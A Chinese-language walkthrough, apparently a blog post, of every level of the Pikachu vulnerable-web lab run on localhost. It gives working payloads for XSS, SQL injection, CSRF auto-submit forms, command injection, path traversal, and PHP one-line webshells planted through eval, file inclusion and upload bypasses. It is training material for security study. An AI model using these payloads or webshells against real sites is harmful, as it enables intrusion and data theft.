Pikachu靶场全关攻略(超详细!)

一、靶场搭建

准备工具

  • phpstudy
  • **pikachu靶场下载地址:**https://github.com/zhuifengshaonianhanlu/pikachu

搭建过程

将靶场文件夹放到phpstudy的www目录
![](https://img-
blog.csdnimg.cn/img_convert/e5c3117beb746c77c78ac46d1f23ca4a.png)

进入pikach文件夹的inc目录,修改靶场配置文件config.inc.php,设置数据库账号密码均为root
![](https://img-
blog.csdnimg.cn/img_convert/f8610574eece386e8c0b8453862f975f.png)
![1](https://img-
blog.csdnimg.cn/img_convert/a53b9e4ae880bae6b313f15cebf2e235.png)

启动phpstudy后访问本机ip目录下的install.php文件,进行安装初始化
![1](https://img-
blog.csdnimg.cn/img_convert/a50844b98d9b7279029777352bd5a439.png)

二、暴力破解

1、基于表单的暴力破解

这种属于无验证码的情况,可直接抓包暴力破解
![](https://img-
blog.csdnimg.cn/img_convert/5993aaafb7f1cd95a505fdacec50d707.png)
![](https://img-
blog.csdnimg.cn/img_convert/78e3cf7f9148f28dbee7bab291411d00.png)
![](https://img-
blog.csdnimg.cn/img_convert/e819fc19f3fe02865dc5d7f267bcf81b.png)

2、基于前端的验证码绕过(On client)

这种将验证码的生成代码写在前端上是十分容易绕过的
![1](https://img-
blog.csdnimg.cn/img_convert/d04a9a2628be38da9ccde33ee2d9fac3.png)

验证码输入错误的情况下是不能抓包的,需先输入正确的验证码再抓包
![](https://img-
blog.csdnimg.cn/img_convert/02c6232b3a8915492c19d0be1c4ee0de.png)

然后再将数据包发送到爆破功能处,并且将验证码参数去除掉后再进行爆破
![](https://img-
blog.csdnimg.cn/img_convert/d762832d1cc81394905c4cd25bcf8996.png)

![](https://img-
blog.csdnimg.cn/img_convert/e15a89157fd1886b20ed0d01881a1447.png)

3、基于服务器的验证码绕过(On server)

有些服务器后台是不刷新验证码的,所以抓到包后不要放包,这样验证码就一直有效,把包发到攻击模块直接爆破
![](https://img-
blog.csdnimg.cn/img_convert/448cec9673beec0164d82612d162d590.png)
![](https://img-
blog.csdnimg.cn/img_convert/510d62d57e25fbedd9ee77c7571ee1dc.png)
![](https://img-
blog.csdnimg.cn/img_convert/9c149041b130e162423c09e3ab76eb9d.png)

4、绕过Token暴力破解

**token的作用:**简单来说就是服务器给前端发的身份证,前端向服务器发送请求时都要带上这个身份证,服务器通过这个身份证来判断是否是合法请求

抓包发送给暴力破解模块,攻击类型选择pitchfork(音叉),需爆破的内容为密码和token。

攻击类型为音叉的时候,例如你要爆破账号和密码,你的账号字典为123,456;你的密码字典为147,258。那么你爆破的次数就为2次了,分别是(123,147),(456,258),也就是说账号字典和密码字典是一一对应的

![](https://img-
blog.csdnimg.cn/img_convert/e05af66657991bc6c5e9eac85c7cc81a.png)

修改密码的payload,添加密码的爆破字典
![1](https://img-
blog.csdnimg.cn/img_convert/59f30b2e9e96c1507ae3698812530914.png)

![1](https://img-
blog.csdnimg.cn/img_convert/c4e45251447ae9fb32e1ebd5f32225e9.png)

修改token的payload,点击选项里的Grep—Extract的添加,然后点击获取回复,选中token的值复制,然后点击OK
![1](https://img-
blog.csdnimg.cn/img_convert/f8b91e204ff82bf3430f0bb195ffbb3c.gif)

将token的payload类型设置成递归搜索,在递归搜索选项中的第一个请求的初始有效负载设置为之前复制的token
![](https://img-
blog.csdnimg.cn/img_convert/d63675bc21e684d359c1be8a2419a9a5.png)

攻击后,通过响应的长度和内容判断是否爆破成功
![](https://img-
blog.csdnimg.cn/img_convert/e6bb91887b322b6957fb7dc838576b23.png)

三、XSS跨站请求攻击

1.反射性xss(get)

修改输入框的前端代码(输入框最大允许长度),否者XSS代码不能全部填进去
![](https://img-
blog.csdnimg.cn/img_convert/3b7078dee619edd412c22b5d37ec7ce2.png)

随后输入xss弹框代码:<script>alert(1)</script>
![](https://img-
blog.csdnimg.cn/img_convert/38f9b5ecdbf0c8cfcadb3bcf72aec351.png)

2.反射性xss(post)

和前面差不多一样,先登录进去,然后输入弹cookie的xss代码

<script>alert(document.cookie)</script>

![](https://img-
blog.csdnimg.cn/img_convert/62e0a2c7f1b394984016ceac595e5830.png)

![1](https://img-
blog.csdnimg.cn/img_convert/0cf777fd6581b40eff26f4fb18d8a4f6.png)

3.存储型xss

直接在留言框输入xss代码

![1](https://img-
blog.csdnimg.cn/img_convert/b42e7bfdba5fb70c68101f79dcbfc647.png)

![1](https://img-
blog.csdnimg.cn/img_convert/336ccc5181abad2bd19cfbb0070ce815.png)

4.Dom型Xss

简单说一下什么是Dom型xss吧,就是向文档对象传入xss代码参数,然后操作文档对象时就会触发xss攻击

分析一下前端网页代码,可以发现输入框里的参数会被传递给A标签的href属性
![](https://img-
blog.csdnimg.cn/img_convert/877ef71caddd202bc22a8fcee60abd52.png)

点击A标签,触发xss弹框
![](https://img-
blog.csdnimg.cn/img_convert/072b0d672a3f6401aa1d3c58970c8764.png)

![1](https://img-
blog.csdnimg.cn/img_convert/6bd6816fab9ba164b6e570258d6cd4f5.png)

5.xss之过滤

script关键字被过滤,换个其他的标签就可以了,换个img标签,代码如下

<img src=1 onerror=alert(1)>

![](https://img-
blog.csdnimg.cn/img_convert/b9046706ba8e4f2c31a058fca3d2d4a4.png)
![](https://img-
blog.csdnimg.cn/img_convert/39dce46ca413b48e67a2e973eee7f22d.png)

6.xss之htmlspecialchars

简单说一下specialchars这个函数吧,就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。

输入框的值会成为a标签的href属性,那么xss语句为:javascript:alert(1),就可以绕过了
![](https://img-
blog.csdnimg.cn/img_convert/58fd9714eab27c3668be73f37df3c5a4.png)
![](https://img-
blog.csdnimg.cn/img_convert/ddcc4edafb3c85e78156c48af43ee9d3.png)

四、Sql注入

搜索型注入

闭合符号为%', 注入payload: g%' union select database(),2,3#
![](https://img-
blog.csdnimg.cn/img_convert/650a475c31608a70b3a5f527bacb60f3.png)

xx型注入

闭合符号变成了'), 注入payload:test') union select user(),database()#
![](https://img-
blog.csdnimg.cn/img_convert/5f76c8dab635573ad0a080ef8aff0124.png)

insert注入

用户注册页面是insert注入,payload:' and extractvalue(1,concat(0x7e,(database()))) and '1'='1

![1](https://img-
blog.csdnimg.cn/img_convert/7b12fee3164671cfcdf99bec7b21e73a.png)

delete注入

在留言版可以输入留言内容, 然后点击删除按钮可以刚刚留言的内容删掉

![动画](https://img-
blog.csdnimg.cn/img_convert/465f64497e0a3aa9cb1c71f01e4a0173.gif)

使用burpsuite抓取点击删除的数据包, 将id参数修改成要注入的payload: 57 or updatexml(1,concat(0x7e,database()),0) , 由于注入参数是get方式提交的, 因此需对id参数进行url编码,
编码后为57+or+updatexml(1,concat(0x7e,database()),0)

![动画](https://img-
blog.csdnimg.cn/img_convert/4e07a14d90b39ac0f2badd64b7c2eb7c.gif)

http header注入

有些时候后台开发人员会验证前端发送来的请求头信息(如useragentaccept等), 然后将这些信息使用SQL语句进行处理,
若没有作严格的安全考虑, 则会导致http header的SQL注入漏洞

首先登录账号, 登录账号后会在页面显示用户请求头信息

![1](https://img-
blog.csdnimg.cn/img_convert/ee8a948103010c50e6cea465fc125bdc.png)

抓取该页面的数据包,将user-agent的值改为单引号', 页面显示报错信息代表此处存在注入

![image-20221203002240108](https://img-
blog.csdnimg.cn/img_convert/ddc2eb55e2476a4dc124ad2475d8b51c.png)

将user-agent的值改为' or updatexml(1,concat(0x7e,database()),0) or ' ,注入成功爆出当前数据库

![image-20221202234803631](https://img-
blog.csdnimg.cn/img_convert/ed0c4ff9eb9a880295f5cd3dec991ba1.png)

也可以将cookie的值改为' or updatexml(1,concat(0x7e,database()),0) or ' 来实现注入

![image-20221203004629033](https://img-
blog.csdnimg.cn/img_convert/641327ff87d06f29bd29193909068301.png)

宽字节注入

抓取POST请求的数据包, 将name参数的值改为kobe%df' union select database(),2# ,
页面注入成功爆出当前数据库名称

![image-20221203104159913](https://img-
blog.csdnimg.cn/img_convert/bcf1d831eba135bacb1fab4d1b1acf17.png)

五、CSRF跨站请求伪造

CSRF攻击原理

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者"Session
Riding",通常缩写为CSRF或者XSRF

尽管听起来跟XSS好像差不多, 其实这两者是完全不同的。在CSRF的攻击场景中攻击者会伪造一个请求(该请求通常为url链接), 然后欺骗用户去点击,
若用户点击了那么整个攻击流程就结束了, 这也就是为何CSRF被称为"One Click Attack"

与XSS攻击相比,CSRF攻击往往不大流行, 因此对其进行防范的资源也相当稀少和难以防范,所以被认为比XSS更具危险性。

基于get请求

首先随便登录一个账号: vince/allen/kobe/grady/kevin/lucy/lili, 密码均为123456,
然后使用burpsuite抓取修改个人信息的数据包, 或者F12打开控制台切换至Network进行抓包

我们将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成hacker@qq.com,
那么构成的CSRF攻击payload为http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=hacker@qq.com&submit=submit

![image-20221127223133781](https://img-
blog.csdnimg.cn/img_convert/0166819011c8c70064561283b1b8b999.png)

![image-20221127223658287](https://img-
blog.csdnimg.cn/img_convert/5bd64d5fcd6ba6b98753f277f7838fdf.png)

若用户点击了上述伪造的url, 则会将用户自己的邮箱修改成hacker@qq.com

![动画](https://img-
blog.csdnimg.cn/img_convert/fc66e9a6df038134b017b77fad8850c8.gif)

基于post请求

虽然POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单,
数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改

此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording开始抓包

![1](https://img-
blog.csdnimg.cn/img_convert/55326846416098a9ad49728846cff908.png)

抓到修改个人信息的数据包后, 在CSRFTESTER删除除了POST请求的其他数据, 将类型修改成POST, 然后点击下面的Generate HTML生成HTML文件

![1](https://img-
blog.csdnimg.cn/img_convert/e7174d1f1702cf65bd6bfa5e3f9b84d0.png)

找到生成的HTML文件并对其编辑, 将下面那行<input type="hidden" name="submit" value="submit"/>修改成<input type="submit" name="submit" value="submit"/>,
然后其他POST参数都可自行设置, 这里我将电话号码修改成了999999999

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "30" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="hidden" name="sex" value="girl"/>
<input type="hidden" name="phonenum" value="999999999"/>
<input type="hidden" name="add" value="chain"/>
<input type="hidden" name="email" value="hacker@qq.com"/>
<input type="submit" name="submit" value="submit"/>
</form>

</body>
</html>

在浏览器打开生成的恶意网页, 当用户点击submit按钮后, 用户的个人信息就会被修改

![动画](https://img-
blog.csdnimg.cn/img_convert/93b61200273530e238e66b6b5dd807fc.gif)

Token验证

造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token),
在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击

查看token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用,
然后将SESSION中的token销毁, 并生成新的token发送至前端表单中

<div id="per_info">
   <form method="get">
   <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
   <p class="per_name">姓名:{$name}</p>
   <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>    
   <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> 
   <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
       
   <input type="hidden" name="token" value="{$_SESSION['token']}" />
       
   <input class="sub" type="submit" name="submit" value="submit"/>
   </form>
</div>

在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值,
从而无法进行CSRF攻击

![image-20221128085631181](https://img-
blog.csdnimg.cn/img_convert/1731b588793bb89de705062e05a2ac17.png)

其他防范措施

  • 在进行提交表单的操作增加验证码
  • 设置会话管理机制, 例如15分钟后无操作则自动退出登录
  • 修改敏感信息需对身份证进行二次验证, 例如修改密码时需输入旧密码
  • 修改敏感信息使用POST请求而不是使用GET请求
  • 通过HTTP请求头的Referer来限制原页面

六、RCE漏洞攻击

RCE攻击原理

RCE(remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

远程命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口, 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。若设计者在完成该功能时没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

命令连接符

不同连接符的含义

在Windows和Linux中有四种命令连接符, 分别是|||&&&

连接符描述
`ab`
`a
a & b不管a命令是否执行成功, 都会去执行b命令
a && b若a命令执行成功, 才会执行b命令
若a命令执行失败, 则不执行b命令
使用实例
1.a | b
ping 127.0.0.1 | whoami

![image-20221128154521199](https://img-
blog.csdnimg.cn/img_convert/048d76af185027887e0eb8cac8768c3e.png)

2.a || b
ping 127.0.0.1 || whoami  #前面命令执行成功,不执行后面命令
ping a.b.c.d || whoami #前面命令执行失败,执行后面命令

![image-20221128154702345](https://img-
blog.csdnimg.cn/img_convert/8f7e36e8857b2f56c93fd43e8e3a5a6c.png)

![image-20221128155002995](https://img-
blog.csdnimg.cn/img_convert/a1237285c66e4191f2bb7fb32a002a89.png)

3.a & b
#不管前面的命令是否执行成功都会执行后面的命令
ping 127.0.0.1 & whoami  
ping a.b.c.d & whoami  

![image-20221128155333145](https://img-
blog.csdnimg.cn/img_convert/5da443efd51dda4c4250d2d4012913d7.png)

![image-20221128155513319](https://img-
blog.csdnimg.cn/img_convert/67e2afe225222f86d55754f0b4e48e20.png)

4.a && b
ping 127.0.0.1 && whoami #前面的命令执行成功,执行后面的命令
ping a.b.c.d && whoami  #前面的命令执行失败,不执行后面的命令

![image-20221128155858798](https://img-
blog.csdnimg.cn/img_convert/b1b4295718522ff7878d48019b15350f.png)

![image-20221128155917840](https://img-
blog.csdnimg.cn/img_convert/a0323a7447c493678ffc31571fe2ddee.png)

远程命令执行

查看源码

查看rce_ping源码文件, 可发现$_POST['ipaddress']变量未经任何安全处理就传给了$ip, 由此造成了远程命令执行漏洞

![image-20221128163720163](https://img-
blog.csdnimg.cn/img_convert/802b312d9b68b61a118ca763eb25efea.png)

利用步骤

首先输入个IP地址, 后台会对用户输入的IP地址进行一次ping测试并返回结果, 由此我们可以确定该处存在远程命令执行漏洞

![image-20221128110958901](https://img-
blog.csdnimg.cn/img_convert/5e214958eaeade9fcebef08353857782.png)

输入127.0.0.1 | whoami, 返回指向whoami的结果

![image-20221128160438600](https://img-
blog.csdnimg.cn/img_convert/589b34bea1ade97e8d62b68e30ecfdc6.png)

远程代码执行

查看源码

$POST['txt']未经任何过滤处理就作为eval函数的参数, 由此造成远程代码执行漏洞

![image-20221128164113042](https://img-
blog.csdnimg.cn/img_convert/a5f0e119077fd46a58a463e3630e228d.png)

攻击步骤

输入phpinfo();, 随后后台会使用php解析器去解析此代码

![动画](https://img-
blog.csdnimg.cn/img_convert/0513093b8fdec9a113f300073a6f9dbe.gif)

输入fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');,
会在当前网页所在目录生成一句话木马文件, 后续可用webshell管理工具进行连接

![](https://img-
blog.csdnimg.cn/img_convert/9c24478d05bfeb4ed920928896c5f627.png)

![1](https://img-
blog.csdnimg.cn/img_convert/04c3667bfedd047a25164b62543c0bb2.png)

七、文件包含漏洞

概述

文件包含是一个功能, 在各种开发语言都提供了内置的文件包含函数, 这使得开发人员可在一个代码文件中引用另外一个文件的代码,
如php中就提供了include(),include_once(),require(),require_once()

虽然文件包含函数中包含的文件代码是固定的, 但是有些时候文件包含的代码文件被写成了一个变量, 且该变量由前端传入, 若该变量没有做安全防护,
则可能引发文件包含漏洞

文件包含漏洞又分为本地文件包含和远程文件包含

本地文件包含

原理

仅对服务器本地的文件进行包含, 由于服务器上的文件并不是攻击者所能控制得, 因此在攻击的过程中更多的是包含系统的配置文件(如密钥文件),
或者配合文件上传漏洞去形成更大的威力

访问任意文件

在当前网页所在的文件目录有一个file6.php文件

![image-20221128181419526](https://img-
blog.csdnimg.cn/img_convert/1a22a967d435d240097ff201412ccdb4.png)

读取file6.php文件内容:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file6.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

![1](https://img-
blog.csdnimg.cn/img_convert/73cd5ecc8b89a972d15ca58e029d5359.gif)

配合文件上传getshell

使用imgTrjs工具将一句话代码<?php @eval($_POST['123']);?>写入图片中

![image-20221128192307249](https://img-
blog.csdnimg.cn/img_convert/ccea7f91a8a4c6f684917abf2c3d7121.png)

在文件上传处上传带有恶意代码的图片, 随后返回图片的相对路径:uploads/ImgTrjs.jpg

![动画](https://img-
blog.csdnimg.cn/img_convert/d42dacf5ecdf84493f9ac5bbd398766c.gif)

包含不存在的文件导致报错:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file7.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

从报错信息可看出文件包含函数用的是include(),
被包含的文件路径为pikachu\vul\fileinclude\include\file7.php

![image-20221128193653147](https://img-
blog.csdnimg.cn/img_convert/c652cdd601f739ae46b3e582c87bdd71.png)

由于文件处于/include目录下, 故不能使用绝对路径, 需转换成相对路径, 最终包含木马图片的payload如下

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/ImgTrjs.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

![image-20221128195624830](https://img-
blog.csdnimg.cn/img_convert/757c61d06a06f528f95a13f448a6d351.png)

使用蚁剑连接webshell,
连接url地址为:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/ImgTrjs.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2,
连接密码为123

![1](https://img-
blog.csdnimg.cn/img_convert/8083d88d72107f015f0c92d6792f6888.gif)

远程文件包含

原理

能通过url地址对远程的文件进行包含, 这也意味着攻击者可以传入任意的代码

与此同时远程包含漏洞还能包含本地文件的绝对路径或相对路径

远程生成Webshell

首先生成一个文本文件部署在服务器上, 这里为了方便测试, 我选择放在phpstudy的根目录下, 文件内容为<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>,
文件的url地址为http://127.0.0.1/GenerateWebshell.txt

![1](https://img-
blog.csdnimg.cn/img_convert/c1c204b4fbcd26ba0c5d072d7f562ce3.png)

最终构成的远程包含payload为http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/GenerateWebshell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

网页访问该payload后会在fi_remote.php的同级目录下生成shell.php文件, 后续可用蚁剑进行连接

![动画](https://img-
blog.csdnimg.cn/img_convert/99cf82674dc86e9438feabddf39845d4.gif)

八、文件下载漏洞

概述

在很多网站上都有文件下载功能, 当我们点击下载链接时便会向后台发送一个请求, 该请求一般会包含需要下载的文件名, 后台收到请求后便会执行下载代码,
若后台没有对文件名进行安全判断的话, 则可能引发文件下载漏洞

例如, 攻击者提交的并不是常规的文件名称, 而是一个精心构造的路径(如../../etc/passwd), 那么就会导致敏感文件被下载

利用步骤

例如此处我在网站的根目录创建一个flag.txt文件, 现在要做的是如何通过文件下载漏洞来实现跨目录访问此文件

![1](https://img-
blog.csdnimg.cn/img_convert/61834a9498ebd68009c617b2bbc07114.png)

通过查看下载文件的地址来可知, 其所处文件目录是/pikachu/vul/unsafedownload/download/

![1](https://img-
blog.csdnimg.cn/img_convert/790db70203b566ba6c261bad353a1ec0.png)

而我们要读取的文件在根目录下(/WWW目录), 所以flag.txt的相对路径为../../../../flag.txt,
最终构成的文件下载payload为http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../flag.txt

![动画](https://img-
blog.csdnimg.cn/img_convert/822c6880bcf3f7bef30d31e43a946dc2.gif)

九、文件上传漏洞

概述

如今很多网站都会有文件上传功能, 例如上传头像、附件等等

当用户点击上传文件按钮时,后台会对上传的文件进行安全判断,例如是否是指定的类型、后缀名或大小等等, 然后将其按照设计的格式进行重命名后存储在指定的目录

若后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨, 则很可能会被黑客上传恶意文件导致网站被getshell

前端验证

绕过思路

查看此关卡的html源码可知, 这是在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。

可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过

![1](https://img-
blog.csdnimg.cn/img_convert/c87b9b303cfe694f220f62e32d3f6050.png)

方法1:抓包修改文件后缀

首先新建一个txt文本文件并写入webshell代码, 将其后缀名修改成jpg

![1](https://img-
blog.csdnimg.cn/img_convert/1bba507cc7ef4f872ca2eaacf4b17281.png)

使用burpsuite拦截上传shell.jpg的数据包, 随后将后缀名jpg修改成php后再放包,
文件上传成功后返回文件的相对路径uploads/shell.php

![动画](https://img-
blog.csdnimg.cn/img_convert/bbe073e2cfc8b6c25fc0746176c71b4b.gif)

方法2: 浏览器禁用javascript

打开火狐浏览器,网址搜索框输入about:config, 将JavaScript.enabled设置为false

![1](https://img-
blog.csdnimg.cn/img_convert/c5365355a15030abbe3edcd79e92e166.png)

可以直接上传后缀名为php的文件

![1](https://img-
blog.csdnimg.cn/img_convert/7a5a18718f05ebb237c3981e9dc9b716.gif)

MIME验证

绕过思路

如下代码所示为此关卡用于MIME验证的php源码,
由此可知MIME是通过判断你的文件类型(而不是后缀名)来决定是否允许你上传文件,只需抓包修改content_type值就能绕过验证

if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}
利用方法

使用burpsuite抓取上传shell.php的数据包, 将content_type的值修改为image/jpeg, 随后放包

![1](https://img-
blog.csdnimg.cn/img_convert/d0cfcf7faa47f1ae6868a867b964d809.png)

![1](https://img-
blog.csdnimg.cn/img_convert/0216fad45eef99c599a7a2bd321cbe7a.png)

getimagesize()验证

绕过思路

getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部

可通过制作图片木马或再木马文件内容头部添加GIF89a(Gif图片文件头), 然后利用文件包含漏洞来解析图片木马

利用步骤

在图片木马的文件内容头部添加GIF89a, 保存为shell.jpg文件,
随后将此文件上传后会返回文件的相对地址uploads/2022/11/29/5326166385b74ff01e3044955456.jpg

![1](https://img-
blog.csdnimg.cn/img_convert/df4889a44cf930dc1a2b6f17f740d72b.png)

![image-20221129154045494](https://img-
blog.csdnimg.cn/img_convert/382bfbccdd39f8095b8d78fd7ad613b4.png)

由此可知木马图片的url地址为http://127.0.0.1/pikachu/vul/unsafeupload/uploads/2022/11/29/5326166385b74ff01e3044955456.jpg

![image-20221129154252042](https://img-
blog.csdnimg.cn/img_convert/1055fa32d9f416a1978b98248f7d8072.png)

利用文件包含漏洞解析此图片木马:
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/11/29/5326166385b74ff01e3044955456.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2,
后续可用蚁剑进行连接

![image-20221129154850633](https://img-
blog.csdnimg.cn/img_convert/b741a4b4d02b33cf3daaf04f01f82e3e.png)

十、越权漏洞

概述

使用权限高的用户去操作权限低的用户的行为称为"越权",越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的

越权漏洞通常出现在需要权限才能操作的页面, 例如增加,删除,修改,查询等等, 后台会对当前的用户权限进行检验, 从而给出响应,
若检验的规则过于简单则容易出现越权漏洞

越权漏洞又分为水平越权和垂直越权:

  • 水平越权: A用户和B用户属于同一级别的用户, 但各自都不能操作对方的个人信息。若A用户能够越权操作B用户的个人信息, 这种情况我们称之为"水平越权"
  • 垂直越权: A用户权限高于B用户, B用户能对A用户进行操作的情况称为"垂直越权"

水平越权

首先登录lucy用户, 然后点击个人信息,
查看当前url为:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

![image-20221130084354923](https://img-
blog.csdnimg.cn/img_convert/674471b09deae84b38889e8d4691db96.png)

修改当前url的参数, 将username=lucy改成username=lili,
http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

![动画](https://img-
blog.csdnimg.cn/img_convert/57ca8cb94c6cb7af01eb427da0f22929.gif)

垂直越权

首先登录超级管理员用户admin/123456,使用burpsuite抓取添加用户的数据包并发送至Repeater模块

![动画](https://img-
blog.csdnimg.cn/img_convert/b591cd474c6b469c1415387541f92374.gif)

登录普通用户pikachu/000000, 按F12查看当前用户Cookie值为r0audj31vere8ak4063bbp7vr2

![1](https://img-
blog.csdnimg.cn/img_convert/24878cdc98c0a80277847a38a0d9bd10.png)

返回burpsuite的Repeater模块, 打开上述抓到的数据包, 将Cookie值修改为pikachu用户的Cookie, 然后点击发送

![image-20221130141355345](https://img-
blog.csdnimg.cn/img_convert/63bb0c08ef7705a3b8aec8878e063a67.png)

之后返回页面查看用户列表可发现多了一个用户Hacker

![image-20221130142400902](https://img-
blog.csdnimg.cn/img_convert/d1503a96efd3454f9d4356f4c8500db4.png)

十一、目录遍历漏洞

概述

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量, 然后传递给后台, 后台再执行对应的文件,
若后台没有对前端传来的文件变量进行严格的安全考虑, 则攻击者可能会通过"../"这样的手段让后台打开或执行攻击者指定的文件, 从而形成目录遍历漏洞

需要区分一下的是,如果你通过不带参数的url(如http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们称为敏感信息泄露。而并不归为目录遍历漏洞

利用实例

在网站的根目录新建一个flag.txt文件来进行测试

![1](https://img-
blog.csdnimg.cn/img_convert/180ad00a2183823c1ed5123684a8cd33.png)

访问存在目录遍历漏洞的页面http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php,
可发现title参数是实现目录遍历的关键变量

![image-20221201083619996](https://img-
blog.csdnimg.cn/img_convert/450e496f15dfd3c00e21e3a5c7a107b1.png)

随便输入一个值传递给title参数, 页面爆出目录为E:\phpStudy\WWW\pikachu\vul\dir\soup

![image-20221201083824813](https://img-
blog.csdnimg.cn/img_convert/ccc7b79b21822f3e5cc6ebe2275b8f76.png)

构造读取flag.txt的url:http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../flag.txt

![image-20221201084114483](https://img-
blog.csdnimg.cn/img_convert/a309c10d64278145616905dcb9a87ba5.png)

十二、敏感信息泄露

概述

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到

  • 通过访问url下的目录,可以直接列出目录下的文件列表
  • 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息
  • 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等

IcanseeyourABC

查看网页源码, 发现注释有测试用户的账号密码lili/123456

![image-20221130203313568](https://img-
blog.csdnimg.cn/img_convert/8b0cea57a3323f0e153bebbf6a0c755d.png)

成功登录测试用户

![image-20221130203528820](https://img-
blog.csdnimg.cn/img_convert/8b037440d254d1ecad43d22714247d88.png)

![1](https://img-
blog.csdnimg.cn/img_convert/1776eeafd4999a1b832e9b2a4a0c582a.png)

十三、PHP反序列化漏洞

概述

PHP涉及反序列化漏洞的函数主要有两个, 分别是serialize()unserialize()

serialize序列化

序列化简单来说就是将一个对象转换成可以传输的字符串

例如下面的代码, 将对象DemoClass转换成一段字符串:
O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;}

O: 代表对象object

9: 代表对象名字的长度为3

3: 代表对象里有3个变量

s: 表示数据类型为String

